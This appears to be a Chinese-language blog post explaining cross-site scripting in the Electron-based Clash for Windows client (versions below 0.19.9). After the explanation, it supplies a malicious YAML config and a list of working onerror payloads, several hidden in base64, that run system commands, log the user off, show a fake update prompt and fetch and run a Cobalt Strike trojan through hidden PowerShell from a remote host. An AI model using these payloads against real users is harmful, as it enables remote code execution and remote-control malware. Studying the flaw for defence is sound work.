什么是XSS
XSS中文译为跨站脚本(Cross Site Scripting),简单来讲就是不应该执行脚本代码的地方被插入脚本代码由于安全过滤不严谨导致代码被执行,建议直接在网上搜索,我就不过多解释了,打开这个页面的时候你应该看到了弹窗,这是我在文章中插入了一段JS代码,这就可以理解为一个XSS注入,当然这个是我主动添加的,只有普通权限的你是无法在我的博客添加类似的JS脚本的,如果可以则说明我的网站存在安全隐患
CFW为什么会出现XSS漏洞
XSS漏洞一般都是存在于我们平时浏览的网页上,但是CFW是使用Electron框架开发的软件,这是一种可以使用 JavaScript,HTML 和 CSS 构建跨平台的桌面应用程序的框架,而我们平时浏览的网页也是由JavaScript,HTML 和 CSS组成的
可以简单理解为CFW软件就是一个浏览器,然后通过JavaScript,HTML 和 CSS的渲染生成了我们所看到的CFW界面本身。
XSS是通过“精心构建”的JavaScript代码插入到浏览器页面中,达到指定的目的。向网页中插入js代码可以在留言板、评论区等交互处,如果该网站的防护不到位,那么就有可能存在XSS漏洞
而CFW存在交互的地方就是导入的clash配置文件,通过往clash配置文件中插入“精心构建”的js代码,当CFW导入该配置文件后,会对其进行解析处理并渲染页面,将节点列表呈现在我们面前,但是由于没有对外部导入的clash配置文件进行安全检测并将非法字符转义处理,导致那段插入的js代码被执行,于是XSS漏洞就产生了。
如果只是普通的浏览器页面存在XSS漏洞对我们计算机的危害还没有那么大,因为普通网页的执行权限并不能对电脑本地的文件进行主动读写,但通过Electron开发的CFW就不一样了,他可以直接读写电脑的文件,并且可以执行相关系统函数,导致危害性扩大。
漏洞复现
1.将以下配置文件信息保存为a.yaml
port: 7890 socks-port: 7891 allow-lan: true mode: Rule log-level: info external-controller: :9090 proxies: - name: a type: socks5 server: 127.0.0.1 port: "17938" skip-cert-verify: true proxy-groups: - name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);> type: select proxies: - a
2.将a.yaml拖入CFW配置列表窗口并选中该配置文件
3.将界面切换到Proxies,如果你使用的版本低于0.19.9,则会看到电脑弹出了计算器
弹出计算器 <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);> 弹出ifconfig /all <img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2lwY29uZmlnIC9hbGwnLChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57YWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7fSk7`,`base64`).toString())'> 注销电脑 <img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2xvZ29mZicsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnthbGVydChgc3Rkb3V0OiAke3N0ZG91dH1gKTt9KTs`,`base64`).toString())'> 弹出网址 <img src=x onerror='alert("软件需要更新");eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2V4cGxvcmVyIGh0dHBzOi8vYnVsaWFuZ2xpbi5jb20nKTs`,`base64`).toString())'> 远控木马上线(需配合Cobalt Strike使用) <img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzE5Mi4xNjguMS4zNTo4MC9hXCcpKSInKTs`,`base64`).toString())'>